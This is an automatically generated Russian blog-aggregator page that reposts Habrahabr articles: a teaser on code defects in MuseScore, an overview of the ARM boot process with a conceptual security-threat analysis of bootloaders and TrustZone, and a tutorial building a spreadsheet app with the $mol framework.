-Поиск по дневнику

Поиск сообщений в rss_rss_hh_new

 -Подписка по e-mail

 

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 17.03.2011
Записей:
Комментариев:
Написано: 51

Habrahabr/New








Добавить любой RSS - источник (включая журнал LiveJournal) в свою ленту друзей вы можете на странице синдикации.

Исходная информация - http://habrahabr.ru/rss/new/.
Данный дневник сформирован из открытого RSS-источника по адресу http://feeds.feedburner.com/xtmb/hh-new-full, и дополняется в соответствии с дополнением данного источника. Он может не соответствовать содержимому оригинальной страницы. Трансляция создана автоматически по запросу читателей этой RSS ленты.
По всем вопросам о работе данного сервиса обращаться со страницы контактной информации.

[Обновить трансляцию]

Обзор дефектов кода музыкального софта. Часть 1. MuseScore

Среда, 27 Сентября 2017 г. 11:12 + в цитатник


Программирование — занятие творческое, поэтому среди разработчиков встречается много талантливых людей, имеющих своеобразное хобби. Вопреки распространённому мнению, это не всегда программирование (ну или не только оно :D). На основе своего увлечения записью/обработкой музыки и профессиональной деятельности, я решил проверить качество кода популярных музыкальных программ с открытым исходным кодом. Первой для обзора выбрана программа для редактирования нот — MuseScore. Запасайтесь попкорном… серьёзных багов будет много!
Читать дальше ->

https://habrahabr.ru/post/338808/


Метки:  

Загрузка ОС на ARM

Среда, 27 Сентября 2017 г. 11:06 + в цитатник
vlk77 сегодня в 11:06 Разработка

Загрузка ОС на ARM

    Недавно попросили в двух словах рассказать серьезным людям о загрузке операционной системы на ARM и дать оценку угроз безопасности этого процесса. Вообще ARM-процессоров и вообще ОС. Вы понимаете, все ведь слышали про эти ARM, и что такое ОС тоже все знают. Желательно, на уровне квадратиков со стрелками.

    Загрузка ARM в четырех прямоугольниках — под катом.

    Сразу ограничим уровень детализации. Нас интересует, что происходит, а не как, то есть конкретные инструкции процессора оставим в стороне. Постараемся найти общее у всех процессоров и всех ОС. Поищем угрозы безопасности.

    Разновидности процессоров ARM


    Если вы знаете про ARM, то этот раздел можно смело пропустить.

    В производстве и эксплуатации сейчас встречаются процессоры ARM пяти архитектур: ARMv4, ARMv5, ARMv6, ARMv7 и ARMv8. Компания ARM дает этим архитектурам коммерческие названия, поэтому ARMv4 называется, например, ARM7, ARMv5 – ARM9, а название Cortex имеют процессоры на архитектурах ARMv6, v7, v8. Следующая таблица перечисляет основные разновидности.
    Архитектура Коммерческое название Распространенные виды Запуск Linux
    ARMv4 ARM7 ARM7TDMI Нецелесообразно
    ARMv5 ARM9 ARM926EJ-S Да
    ARMv6 ARM11 ARM1176JZF-S Да
    Cortex-M0 Cortex-M0 Нет
    ARMv7 Cortex-M Cortex-M3 Нецелесообразно
    Cortex-A Cortex-A9 Да
    Cortex-R Cortex-R4 Да
    ARMv8 Cortex-A Cortex-A53 Да

    Например, кнопочные телефоны в основном используют ARM7, а смартфоны – Cortex-A. Современные смартфоны строятся преимущественно на ARMv8, единственных 64-битных. Процессоры ARM7 и ARM9 широко применялись в различных промышленных контроллерах, сетевом оборудовании, а сейчас фокус переходит на использование в них Cortex-A. В различной бытовой технике, мелких электронных приборах, в области безопасности и т.п. применяются микроконтроллеры Cortex-M.

    Вообще все устройства ARM можно условно разбить на микроконтроллеры и Application Processor.

    • Микроконтроллеры отличаются наличием на кристалле Flash-памяти и рабочего ОЗУ. Применяются для задач относительно малой автоматизации.
    • Application Processor преимущественно пользуется внешней памятью — DDRAM и Flash. Мы их дальше будем называть просто — процессоры. Масштаб задач у них больше.

    Долгое время одни и те же архитектуры ARM7, ARM9 использовались как для построения процессоров, так и микроконтроллеров. С появлением линейки Cortex произошло разделение, и теперь микроконтроллеры называются Cortex-M, а процессоры Cortex-A и Cortex-R.

    Виды ОС


    Какие есть варианты запуска ОС:

    • на микроконтроллерах обычно запущена маленькая ОС реального времени (RTOS) или просто программа без ОС;
    • на процессорах чаще запущена ОС общего применения (Linux, Android), иногда маленькая RTOS, иногда полнофункциональная RTOS (типа vxWORKS).

    Например, в планшетах и смартфонах используется Android, iOS или вариант Linux. В телекоммуникационном оборудовании может быть Linux или один из вариантов RTOS. В более простом оборудовании может применяться RTOS или программа без ОС.

    В дальнейшем мы будем говорить только о запуске ОС (Linux, Android) или RTOS на ARM. По способу запуска “большие” RTOS попадают в одну группу с Linux, а “малые” RTOS объединяются с программами без ОС.

    Для запуска Linux хорошо подходят процессоры ARM9, ARM11, Cortex-A. Усеченную версию Linux также можно загрузить на ARM7, Cortex-M4 и Cortex-M7, но это нецелесообразно.

    Для запуска малых RTOS подходят микроконтроллеры и процессоры ARM7, ARM9, Cortex-M. В некоторых случаях для RTOS используют начальные модели Cortex-A, например, Cortex-A5. Большинство же процессоров Cortex-A столь сложны, что их возможности можно использовать только совместно с поставляемым производителем Linux/Android SDK, что и определяет выбор в пользу Linux.

    Загрузчик ОС


    С точки зрения разработчика системное ПО устройства делится на загрузчик и ОС. Основную функцию всегда выполняет программа, работающая под управлением ОС или RTOS.

    Загрузчик обеспечивает загрузку ОС и сервисные функции, такие, как:

    • проверка целостности образа ОС перед запуском;
    • обновление программ;
    • сервисные функции, функции первоначальной инициализации устройства;
    • самотестирование.

    В случае RTOS загрузчик зачастую пишется разработчиком устройства и представляет собой небольшую специализированную программу. В случае с ОС общего применения широко применяются загрузчики с открытым исходным кодом, например, u-boot.

    Таким образом, с точки зрения разработчика изделия запуск ОС выглядит следующим образом:


    Здесь знаком // отмечен момент подачи питания или сброса процессора. Такой простой способ запуска был у некоторых процессоров ARM7. В последовавших за ними версиях процесс запуска в реальности сложнее, чем на приведенной схеме, но для разработчика конечного решения это обычно не существенно.

    Схема “Загрузчик-ОС” очень удобна из практических соображений, ведь загрузчик берет на себя всю низкоуровневую работу:

    • инициализирует память перед запуском ОС и загружает ядро ОС в память;
    • инициализирует часть периферии;
    • часто реализует хранение двух образов ОС: текущего и резервного, или образа для восстановления;
    • контролирует образ ОС перед загрузкой;
    • дает сервисный режим работы даже при испорченном образе ОС.

    Например, для запуска Linux на ARM загрузчик должен инициализировать память, хотя бы один терминал, загрузить образ ядра и Device Tree в память и передать управление на ядро. Все это описано в <https://www.kernel.org/doc/Documentation/arm/Booting>. Код инициализации ядра Linux не будет делать сам то, что должен делать загрузчик.

    В то же время, загрузчик зачастую слабо защищен или не защищен вовсе. В большинстве домашних роутеров достаточно открыть крышку и подключиться к разъему UART, чтобы войти в меню управления загрузчиком. В телекоммуникационном оборудовании более высокого класса вход в меню загрузчика зачастую возможен по недокументированной комбинации клавиш или нажатой кнопке в момент включения устройства. Иными словами, зачастую загрузчик не защищен от локального нарушителя.

    Рассмотрим работу загрузчика на примере u-boot, загружающего Linux, по шагам.

    1. После включения или сброса процессор загружает образ u-boot, хранимый в Flash-памяти, в ОЗУ и передает управление на первую команду этого образа.
    2. u-boot инициализирует DDRAM.
    3. u-boot инициализирует драйверы загрузочного носителя (ЗН), например, eMMC, NAND Flash.
    4. u-boot читает с ЗН область переменных конфигураций. В конфигурации задан скрипт загрузки, который u-boot далее исполняет.
    5. u-boot выводит в консоль предложение прервать процесс загрузки и сконфигурировать устройство. Если за 2-3 секунды пользователь этого не сделает, запускается скрипт загрузки.
    6. Иногда скрипт начинается с поиска подходящего образа ОС для загрузки на всех доступных носителях. В других случаях ЗН задается в скрипте жестко.
    7. Скрипт загружает с ЗН в DDRAM образ ядра Linux (zImage), файл Device Tree с параметрами ядра (*.dtb).
    8. Дополнительно скрипт может загрузить в DDRAM образ initrd – маленькой файловой системы с необходимыми для старта драйверами устройств. Современные дистрибутивы Linux иногда используют initrd, а иногда – нет.
    9. Разместив загруженные 2 или 3 файла в памяти, скрипт передает управление на первую команду образа zImage (ядро Linux).
    10. zImage состоит из распаковщика и сжатого образа ядра. Распаковщик развертывает ядро в памяти, и загрузка ОС начинается.

    Запуск загрузчика – предзагрузчик


    Однако в реальности почти никогда не бывает, чтобы команды загрузчика выполнялись первыми после включения или сброса процессора. Это еще было на процессорах ARM7, но почти не встречалось далее.

    Любое ядро процессора ARM при сбросе начинает исполнение с адреса 0, где записан вектор “reset”. Старые серии процессоров буквально начинали загружаться с внешней памяти, отображенной по нулевому адресу, и тогда первая команда процессора была командной загрузчика. Однако для такой загрузки подходит только параллельная NOR Flash или ROM. Эти типы памяти работают очень просто – при подаче адреса они выдают данные. Характерный пример параллельной NOR Flash – микросхема BIOS в персональных компьютерах.

    В современных системах используются другие виды памяти, потому что они дешевле, а объем больше. Это NAND, eMMC, SPI/QSPI Flash. Эти типы памяти уже не работают по принципу: подал адрес — читаешь данные, а значит, для прямого исполнения команд из них не подходят. Даже для простого чтения тут требуется написать драйвер, и мы имеем проблему «курицы и яйца»: драйвер нужно откуда-то заранее загрузить.

    По этой причине в современные процессоры ARM интегрировано ПЗУ с предзагрузчиком. ПЗУ отображено в памяти процессора на адрес 0, и именно с него начинает исполнение команд процессор.

    В задачи предзагрузчика входят следующие:

    • определение конфигурации подключенных устройств;
    • определение загрузочного носителя (ЗН);
    • инициализация устройств и ЗН;
    • чтение загрузчика с ЗН;
    • передача управления загрузчику.

    Конфигурация предзагрузчика обычно устанавливается одним из двух способов:

    • схемотехнически, подключением определенных выводов процессора к земле или шине питания;
    • записывается в однократно-программируемую память процессора на этапе производства.

    В целом почти всегда есть возможность задать единственный вариант загрузки или основной и несколько альтернативных. При этом в числе альтернативных может быть первичная загрузка через USB или последовательный порт, что очень удобно при первоначальной инициализации на производстве.

    Подобный предзагрузчик устанавливается как в процессорах ARM, таких, как Cortex-A, так и в микроконтроллерах, даже таких маленьких, как Cortex-M0. Вместе с предзагрузчиком процедура запуска ОС выглядит так:

    Анализ угроз на этом этапе


    Исходный код предзагрузчика пишется производителем процессора, а не компанией ARM, является частью микросхемы как продукта компании-производителя и защищен авторским правом. Например, в процессорах ARM компаний Atmel и NXP предзагрузчики написаны, соответственно, Atmel и NXP.

    В некоторых случаях предзагрузчик можно прочитать из ROM и проанализировать, но иногда доступ к нему ограничен. Например, предзагрузчик процессора серии Psoc4000 компании Cypress был закрыт несколькими слоями защиты (но был взломан талантливым хакером).

    Использования предзагрузчика в большинстве сценариев избежать нельзя. Можно рассматривать его как вариант BIOS, которого в ARM-системах нет.

    Скрытый текст
    Вообще-то, у ARMv8-A есть ARM Trusted Firmware, это системное ПО, отвечающее, например, за управление питанием (PSCI). Вот этот код можно считать BIOS для ARMv8. У ARMv7 и ранее такого стандартного ПО нет.

    Сам по себе предзагрузчик в ROM несет в себе угрозу нарушения порядка загрузки и выполнения произвольного кода. Но после того как управление передано загрузчику ОС, предзагрузчик уже безвреден. Мы можем просто не передавать ему управление, перенастроить все обработчики прерываний и так далее.

    В некоторые небольшие микроконтроллеры производители интегрируют в ROM-библиотеки для работы с периферийными устройствами, которые требуется вызывать на протяжении всей работы микроконтроллера. В этом случае системное ПО (загрузчик и ОС) само периодически передает управление куда-то в область предзагрузчика, и схема передачи управления получается следующей:

    Это в общем случае небезопасно, но встречается только в некоторых микроконтроллерах на архитектуре ARM. На таких микроконтроллерах обычно запускаются программы без ОС или малые RTOS, и дизайнер системы может оценить риски.

    Загрузка с TrustZone


    В процессоры ARM Cortex-A и Cortex-R встраивается технология TrustZone. Эта технология позволяет на аппаратном уровне выделить два режима исполнения: Secure (Безопасный) и Non-Secure (Гостевой).

    Эти процессоры в основном нацелены на рынок смартфонов и планшетных компьютеров, и TrustZone используется для создания в режиме Secure доверенной “песочницы” для исполнения кода, связанного с криптографией, DRM, хранением пользовательских данных.

    В режиме Secure при этом запускается специальная ОС, называемая в общем случае TEE (Trusted Execution Environment, доверенная среда исполнения), а нормальная ОС, такая, как Linux, Android, iOS, запускается в режиме Non-Secure. При этом права доступа к некоторым устройствам ограничены для нормальной ОС, поэтому ее еще называют гостевой ОС.

    Из-за наложенных ограничений гостевая ОС вынуждена время от времени вызывать функции TEE для исполнения некоторых операций. TEE продолжает существовать параллельно с гостевой ОС все время, и гостевая ОС не может ничего с этим поделать.

    Например, гостевая ОС использует функции TEE для:

    • включения и выключения ядер процессора (в ARMv8-A это происходит через PSCI — часть ARM Trusted Firmware, а в ARMv7 — по-разному для каждого производителя процессоров);
    • хранения ключей, данных банковских карт и т.п.;
    • хранения ключей полнодискового шифрования;
    • операций с криптографией;
    • отображения DRM-контента.

    При этом, с точки зрения безопасности, на время таких вызовов управление передается в неизвестный нам, непроверенный код. Мы не можем однозначно сказать, что делают Samsung KNOX или QSEE от Qualcomm.

    Почему же разработчики систем соглашаются на такой режим функционирования? В процессоры с поддержкой TrustZone встроен и механизм Secure Boot в том или ином виде.

    С Secure Boot предзагрузчик проверяет подпись загружаемого образа с помощью прошитого на этапе производства открытого ключа. Таким образом, гарантируется, что загружен будет только подписанный образ. Это функция безопасности.

    То есть загрузка ОС становится следующей:

    1. стартует предзагрузчик в ROM. Он загружает ключи для проверки подписи TEE из ROM;
    2. предзагрузчик загружает в память образ TEE, проверяет подпись. Если проверка прошла успешно, запускается TEE;
    3. TEE настраивает режимы Secure и Non-Secure. Далее TEE загружает основной загрузчик ОС и переходит на него в режиме Non-Secure. Сам TEE остается в режиме Secure и ждет;
    4. загрузчик основной ОС загружает ОС как обычно;
    5. ОС вынуждена время от времени вызывать функции TEE для выполнения некоторых задач.

    Однако производитель, как правило, поставляет подписанные образы загрузчика и TEE в составе SDK для процессора и поставляет процессоры, уже “зашитые” ключом производителя. В этом случае предзагрузчик из ROM не станет выполнять любой загрузчик, если он не подписан производителем. Все основные процессоры для смартфонов сейчас поставляются уже “прошитыми” под исполнение собственного TEE перед исполнением загрузчика ОС.

    Далее действует лень — c TEE все работает, а без TEE даже не запускается. Разработчики используют SDK с TEE, вызывают закрытый бинарный код из ядра Linux и не волнуются.

    Как проверить свой проект на обращения к TrustZone


    Может даже показаться, что всей этой TrustZone не существует, по крайней мере, в вашей конкретной разработке. Проверить это совсем несложно.

    Дело в том, что все процессоры с TrustZone стартуют в режиме Secure, а только потом переключаются в Normal. Если ваша ОС запущена в режиме Normal, то какая-то Secure OS (TEE) существует в системе и перевела ее в этот режим.

    Лакмусовой бумажкой является обращение к TEE для включения кэш-памяти 2-го уровня. По какой-то причине архитектура ARM не позволяет этого делать из Normal World. Поэтому для включения кэша ядру ОС потребуется сделать хоть один вызов к TrustZone. Делается это единственной командой: smc #0, и вы можете поискать ее сами в ядре Linux или Android.

    Разумеется, мы и сами поискали, и нашли такие вызовы в коде поддержки ряда процессоров Qualcomm, Samsung, Mediatek, Rockchip, Spreadtrum, HiSilicon, Broadcom, Cavium.

    Загрузка ARM Cortex-A и анализ угроз


    Итак, обещанный процесс загрузки ОС на ARM (здесь — Cortex-A) в четыре блока:

    На схеме пунктиром обозначен путь обращения из ядра ОС в TEE.

    В двух блоках — неизвестный нам код. Посмотрим, чем это грозит.

    Технически, любой из компонентов системного ПО может содержать ошибки, намеренные закладки и так далее. Однако в большинстве случаев загрузчик, ОС и системное ПО можно проверить, изучив исходные коды. Сконцентрируемся на возможных угрозах, исходящих от предзагрузчика и TEE, исходные коды к которым закрыты.

    Предзагрузчик работает на самом раннем этапе, когда схема подключения к процессору различных периферийных устройств еще не известна, никакие коммуникационные устройства (WiFi, 3G и т.д.) не настроены, коммуникационные протоколы не работают. При этом предзагрузчик – небольшая программа, с размером кода порядка нескольких десятков килобайт, и сложно представить размещение в нем полных стеков протоколов или серьезной эвристики по определению подключенных устройств. Поэтому предзагрузчик вряд ли таит в себе серьезные закладки, связанные со слежкой, передачей данных и т.п.

    Гораздо более интересной точкой атаки является TEE, так как его функции вызываются в процессе работы ОС, когда все периферийные устройства работают, а коммуникационные протоколы настроены. Создание шпионской закладки в коде TEE позволяет практически неограниченно следить за пользователем СВТ.

    В небольшом исследовании мы показали реализуемость закладки в TEE, незаметно перехватывающей системные вызовы ОС Linux. Для активации закладки нужно только одно обращение из ядра Linux в TEE (например, то самое, для кэша второго уровня), после чего система становится полностью управляемой. Это позволяет:

    • контролировать чтение и запись файлов, модифицировать данные «на лету»;
    • перехватывать пользовательский ввод, причем введенные символы перехватываются даже с экранной клавиатуры;
    • незаметно внедрять свои данные при коммуникации с удаленными серверами, в том числе по протоколу https, маскируя передачу шпионской информации под обычный зашифрованный Web-трафик.

    Несомненно, выявленные возможности – только вершина айсберга, и создание закладок не было целью исследования.

    Выводы


    Мы рассмотрели процесс загрузки различных микроконтроллеров и процессоров ARM.

    У микроконтроллеров наиболее уязвимым местом в процессе загрузки является загрузчик ОС.

    Современные процессоры ARM Cortex-A включают в себя TrustZone — и от этого никуда не уйти. TrustZone предполагает запуск перед ОС доверенной среды исполнения TEE.

    TEE является самой уязвимой точкой в процессе загрузки ОС на ARM Cortex-A, потому что обращения к TEE приводят к выполнению закрытого системного кода, известного производителю, но скрытого от нас.

    Без контроля над TEE невозможно обеспечить безопасность и доверенность исполнения любой ОС на ARM Cortex-A.
    Original source: habrahabr.ru (comments, light).

    https://habrahabr.ru/post/338806/


    [recovery mode] $mol_app_calc: вечеринка электронных таблиц

    Среда, 27 Сентября 2017 г. 10:47 + в цитатник
    vintage сегодня в 10:47 Разработка

    $mol_app_calc: вечеринка электронных таблиц

    Здравствуйте, меня зовут Дмитрий Карловский и я… обожаю математику. Однажды мне не спалось и я запилил сервис для таких же отбитых как и я — легковесную электронную таблицу с пользовательскими формулами, шарингом и скачиванием.


    Живой пример с расчётом кредита:


    Кредитный калькулятор


    А дальше я расскажу, как сотворить такое же за вечер используя фреймворк $mol...


    Это что за покемон?


    $mol — современный фреймворк для быстрого создания кроссплатформенных отзывчивых веб-приложений. Он базируется на архитектуре MAM устанавливающей следующие правила для всех модулей:


    • Модуль — это директория, содержащая исходные коды.
    • Исходные коды могут быть на самых разных языках.
    • Все языки равноправны в рамках модуля.
    • Модули могут образовывать иерархию.
    • Имя модуля жёстко соответствует пути к нему в файловой системе.
    • Между модулями могут быть зависимости.
    • Информация о зависимостях модуля получается статическим анализом его исходных кодов.
    • Любой модуль можно собрать как набор независимых бандлов на разных языках (js, css, tree...).
    • В бандлы попадают только те модули, что реально используются.
    • В бандл попадают все исходные коды модуля.
    • У модулей нет версий — всегда используется актуальный код.
    • Интерфейс модулей должен быть открыт для расширения, но закрыт для изменения.
    • Если нужен другой интерфейс — нужно создать новый модуль. Например /my/file/ и /my/file2/. Это позволит использовать оба интерфейса не путаясь в них.

    Рабочее окружение


    Начать разработку на $mol очень просто. Вы один раз разворачиваете рабочее окружение и далее клепаете приложения/библиотеки как пирожки.


    Для начала вам потребуется установить:



    Если вы работаете под Windows, то стоит настроить GIT, чтобы он не менял концы строк в ваших исходниках:


    git config --global core.autocrlf input

    Теперь следует развернуть MAM проект, который автоматически поднимет вам девелоперский сервер:


    git clone https://github.com/eigenmethod/mam.git
    cd mam
    npm install
    npm start

    Всё, сервер разработчика запущен, можно открывать редактор. Обратите внимание, что в редакторе нужно открывать именно директорию MAM проекта, а не проекта конкретного приложения или вашей компании.


    Как видите, начать разрабатывать на $mol очень просто. Основной принцип MAM архитектуры — из коробки всё должно работать как следует, а не требовать долгой утомительной настройки.


    Каркас приложения


    Для конспирации наше приложение будет иметь позывной $mol_app_calc. По правилам MAM лежать оно должно соответственно в директории /mol/app/calc/. Все файлы в дальнейшем мы будем создавать именно там.


    Первым делом создадим точку входа — простой index.html:


    
    
        
            
            
            
        
        
            
        
    

    Ничего особенного, разве что мы указали точку монтирования приложения специальным атрибутом mol_view_root в котором обозначили, что монтировать надо именно наше приложение. Архитектура $mol такова, что любой компонент может выступать в качестве корня приложения. И наоборот, любое $mol приложение — не более, чем обычный компонент и может быть легко использовано внутри другого приложения. Например, в галерее приложений.


    Обратите внимание, что мы уже сразу прописали пути к скриптам и стилям — эти бандлы будут собираться автоматически для нашего приложения и включать в себя только те исходные коды, что реально ему необходимы. Забегая вперёд стоит заметить, что общий объём приложения составит каких-то 36KB без минификации, но с зипованием:


    Network timeline


    Итак, чтобы объявить компонент, который будет нашим приложением, нам нужно создать файл calc.view.tree, простейшее содержимое которого состоит всего из одной строчки:


    $mol_app_calc $mol_page

    Второе слово — имя базового компонента, а первое — имя нашего, который будет унаследован от базового. Таким образом каждый компонент является преемником какого-либо другого. Самый-самый базовый компонент, от которого происходят все остальные — $mol_view. Он даёт всем компонентам лишь самые базовые стили и поведение. В нашем случае, базовым будет компонент $mol_page представляющий собой страницу с шапкой, телом и подвалом.


    Из calc.view.tree будет автоматически сгенерирован TypeScript класс компонента и помещён в -view.tree/calc.view.tree.ts, чтобы среда разработки могла его подхватить:


    namespace $ { export class $mol_app_calc extends $mol_page {
    } }

    Собственно, сейчас приложение уже можно открыть по адресу http://localhost:8080/mol/app/calc/ и увидеть пустую страничку c позывным в качестве заголовка:


    Пустой $mol_page


    Синтаксис view.tree довольно необычен, но он прост и лаконичен. Позволю себе процитировать один из отзывов о нём:


    Синтаксис tree очень легко читать, но нужно немного привыкнуть и не бросить всё раньше времени. Мой мозг переваривал и негодовал около недели, а потом приходит просветление и понимаешь как сильно этот фреймворк упрощает процесс разработки. © Виталий Макеев

    Так что не пугаемся, а погружаемся! И начнём с общей раскладки страницы — она будет состоять у нас из шапки, панели редактирования текущей ячейки и собственно таблицы с данными.


    У каждого компонента есть свойство sub(), которое возвращает список того, что должно быть отрендерено непосредственно внутри компонента. У $mol_page туда рендерятся значения свойств Head(), Body() и Foot(), которые возвращают соответствующе подкомпоненты:


    $mol_page $mol_view
        sub /
            <= Head $mol_view
            <= Body $mol_scroll
            <= Foot $mol_view

    В данном коде опущены детали реализации подкомпонент, чтобы была видна суть. Объявляя подкомпонент (он же "Элемент" в терминологии БЭМ) мы указываем его имя в контексте нашего компонента и имя класса, который должен быть инстанцирован. Созданный таким образом экземпляр компонента будет закеширован и доступен через одноимённое свойство. Например, this.Body() в контексте нашего приложения вернёт настроенный экземпляр $mol_scroll. Говоря паттернами, свойство Body() выступает в качестве локальной ленивой фабрики.


    Давайте преопределим свойство sub(), чтобы оно возвращало нужные нам компоненты:


    $mol_app_calc $mol_page
        sub /
            <= Head -
            <= Current $mol_bar
            <= Body $mol_grid

    Тут мы оставили шапку от $mol_page, добавили $mol_bar в качестве панельки редактирования текущей ячейки, в качестве тела страницы использовали $mol_grid — компонент для рисования виртуальных таблиц, а подвал так и вовсе убрали, так как он нам без надобности.


    Давайте взглянем, как изменился сгенерированный класс:


    namespace $ { export class $mol_app_calc extends $mol_page {
    
        /// sub / 
        ///     <= Head - 
        ///     <= Current - 
        ///     <= Body -
        sub() {
            return [].concat( this.Head() , this.Current() , this.Body() )
        }
    
        /// Current $mol_bar
        @ $mol_mem
        Current() {
            return new this.$.$mol_bar
        }
    
        /// Body $mol_grid 
        @ $mol_mem
        Body() {
            return new this.$.$mol_grid
        }
    
    } }

    Визитная карточка $mol — очень "читабельный" код. Это касается не только генерируемого кода, но и кода модулей самого $mol, и прикладного кода создаваемых на его базе приложений.


    Возможно вы обратили внимание на то, что объекты создаются не прямым инстанцированием по имени класса new $mol_grid, а через this.$. Поле $ есть у любого компонента и возвращает глобальный контекст или реестр, говоря паттернами. Отличительной особенностью доступа ко глобальным значениям через поле $ является возможность любому компоненту переопределить контекст для всех вложенных в него на любую глубину компонентов. Таким образом $mol в крайне практичной и ненавязчивой форме реализует инверсию контроля, позволяющую подменять реализации использующиеся где-то в глубине переиспользуемого компонента.


    Формирование таблицы


    Что ж, давайте нарастим немного мясца и настроим вложенные компоненты под себя: гриду нужно объяснить, какие у нас будут идентификаторы столбцов, какие идентификаторы строк, а также списки ячеек в шапке и теле таблицы.


    Body $mol_grid
        col_ids <= col_ids /
        row_ids <= row_ids /
        head_cells <= head_cells /
        cells!row <= cells!row /

    Генерируемый класс расширится следующим описанием:


    /// Body $mol_grid 
    ///     col_ids <= col_ids - 
    ///     row_ids <= row_ids - 
    ///     head_cells <= head_cells - 
    ///     cells!row <= cells!row -
    @ $mol_mem
    Body() {
        const obj = new this.$.$mol_grid
        obj.col_ids = () => this.col_ids()
        obj.row_ids = () => this.row_ids()
        obj.head_cells = () => this.head_cells()
        obj.cells = ( row ) => this.cells( row )
        return obj
    }

    Как видите, мы просто переопределили соответствующие свойства вложенного компонента на свои реализации. Это очень простая, но в то же время мощная техника, позволяющая реактивно связывать компоненты друг с другом. В синтаксисе view.tree поддерживается 3 типа связывания:


    • Левостороннее (как в коде выше), когда мы указываем вложенному компоненту какое значение должно возвращать его свойство.
    • Правостороннее, когда мы создаём у себя свойство, которое выступает алиасом для свойства вложенного компонента.
    • Двустороннее, когда указываем вложенному компоненту читать из и писать в наше свойство, думая, что работает со своим.

    Для иллюстрации двустороннего связывания, давайте детализируем панель редактирования текущей ячейки:


    Current $mol_bar
        sub /
            <= Pos $mol_string
                enabled false
                value <= pos \
            <= Edit $mol_string
                hint \=
                value?val <=> formula_current?val \

    Как видно оно у нас будет состоять у нас из двух полей ввода:


    • Координаты ячейки. Пока что запретим их изменять через свойство enabled — оставим этот функционал на будущее.
    • Поле ввода формулы. Тут мы уже двусторонне связываем свойство value поля ввода и наше свойство formula_current, которое мы тут же и объявляем, указав значение по умолчанию — пустую строку.

    Код свойств Edit и formula_current будет сгенерирован примерно следующий:


    /// Edit $mol_string 
    ///     hint \=
    ///     value?val <=> formula_current?val -
    @ $mol_mem
    Edit() {
        const obj = new this.$.$mol_string
        obj.hint = () => "="
        obj.value = ( val? ) => this.formula_current( val )
        return obj
    }
    
    /// formula_current?val \
    @ $mol_mem
    formula_current( val? : string , force? : $mol_atom_force ) {
        return ( val !== undefined ) ? val : ""
    }

    Благодаря реактивному мемоизирующему декоратору $mol_mem, возвращаемое методом formula_current значение кешируется до тех пока пока оно кому-нибудь нужно.


    Пока что у нас было лишь декларативное описание композиции компонент. Прежде чем мы начнём описывать логику работы, давайте сразу объявим как у нас будут выглядеть ячейки:


    Col_head!id $mol_float
        dom_name \th
        horizontal false
        sub / <= col_title!id \
    -
    Row_head!id $mol_float
        dom_name \th
        vertical false
        sub / <= row_title!id \
    -
    Cell!id $mol_app_calc_cell
        value <= result!id \
        selected?val <=> selected!id?val false

    Заголовки строк и колонок у нас будут плавающими, поэтому мы используем для них компонент $mol_float, который отслеживает позицию скроллинга, предоставляемую компонентом $mol_scroll через контекст, и смещает компонент так, чтобы он всегда был в видимой области. А для ячейки заводим отдельный компонент $mol_app_calc_cell:


    $mol_app_calc_cell $mol_button
        dom_name \td
        sub /
            <= value \
        attr *
            ^
            mol_app_calc_cell_selected <= selected?val false
            mol_app_calc_cell_type <= type?val \
        event_click?event <=> select?event null

    Этот компонент у нас будет кликабельным, поэтому мы наследуем его от $mol_button. События кликов мы направляем в свойство select, которое в дальнейшем у нас будет переключать редактор ячейки на ту, по которой кликнули. Кроме того, мы добавляем сюда пару атрибутов, чтобы по особенному стилизовать выбранную ячейку и обеспечить ячейкам числового типа выравниванием по правому краю. Забегая верёд, стили для ячеек у нас будут простые:


    [mol_app_calc_cell] {
        user-select: text; /* по умолчанию $mol_button не выделяемый */
        background: var(--mol_skin_card); /* используем css-variables благодаря post-css */
    }
    
    [mol_app_calc_cell_selected] {
        box-shadow: var(--mol_skin_focus_outline);
        z-index: 1;
    }
    
    [mol_app_calc_cell_type="number"] {
        text-align: right;
    }

    Обратите внимание на одноимённый компоненту селектор [mol_app_calc_cell] — соответствующий атрибут добавляется dom-узлу автоматически, полностью избавляя программиста от ручной работы по расстановке css-классов. Это упрощает разработку и гарантирует консистентность именования.


    Наконец, чтобы добавить свою логику, мы создаём calc.view.ts, где создаём класс в пространстве имён $.$$, который наследуем от одноимённого автоматически сгенерированного класса из пространства имён $:


    namespace $.$$ {
        export class $mol_app_calc_cell extends $.$mol_app_calc_cell {
            // переопределения свойств
        }
    }

    Во время исполнения оба пространства имён будут указывать на один и тот же объект, а значит наш класс с логикой после того как отнаследуется от автогенерированного класса просто займёт его место. Благодаря такой хитрой манипуляции добавление класса с логикой остаётся опциональным, и применяется только, когда декларативного описания не хватает. Например, переопределим свойство select(), чтобы при попытке записать в него объект события, оно изменяло свойство selected() на true:


    select( event? : Event ) {
        if( event ) this.selected( true )
    }

    А свойство type() у нас будет возвращать тип ячейки, анализируя свойство value():


    type() {
        const value = this.value()
        return isNaN( Number( value ) ) ? 'string' : 'number'
    }

    Но давайте вернёмся к таблице. Аналогичным образом мы добавляем логику к компоненту $mol_app_calc:


    export class $mol_app_calc extends $.$mol_app_calc {
    }

    Первым делом нам надо сформировать списки идентификаторов строк row_ids() и столбцов col_ids():


    @ $mol_mem
    col_ids() {
        return Array( this.dimensions().cols ).join(' ').split(' ').map( ( _ , i )=> this.number2string( i ) )
    }
    
    @ $mol_mem
    row_ids() {
        return Array( this.dimensions().rows ).join(' ').split(' ').map( ( _ , i )=> i + 1 )
    }

    Они зависят от свойства dimensions(), которое мы будем вычислять на основе заполненности ячеек, так, чтобы у любой заполненной ячейки было ещё минимум две пустые справа и снизу:


    @ $mol_mem
    dimensions() {
    
        const dims = {
            rows : 2 ,
            cols : 3 ,
        }
    
        for( let key of Object.keys( this.formulas() ) ) {
            const parsed = /^([A-Z]+)(\d+)$/.exec( key )
    
            const rows = Number( parsed[2] ) + 2
            const cols = this.string2number( parsed[1] ) + 3
    
            if( rows > dims.rows ) dims.rows = rows
            if( cols > dims.cols ) dims.cols = cols
        }
    
        return dims
    }

    Методы string2number() и number2string() просто преобразуют буквенные координаты колонок в числовые и наоборот:


    number2string( numb : number ) {
        const letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        let str = ''
        do {
            str = letters[ numb % 26 ] + str
            numb = Math.floor( numb / 26 )
        } while ( numb )
        return str
    }
    
    string2number( str : string ) {
        let numb = 0
        for( let symb of str.split( '' ) ) {
            numb = numb * 26
            numb += symb.charCodeAt( 0 ) - 65
        }
        return numb
    }

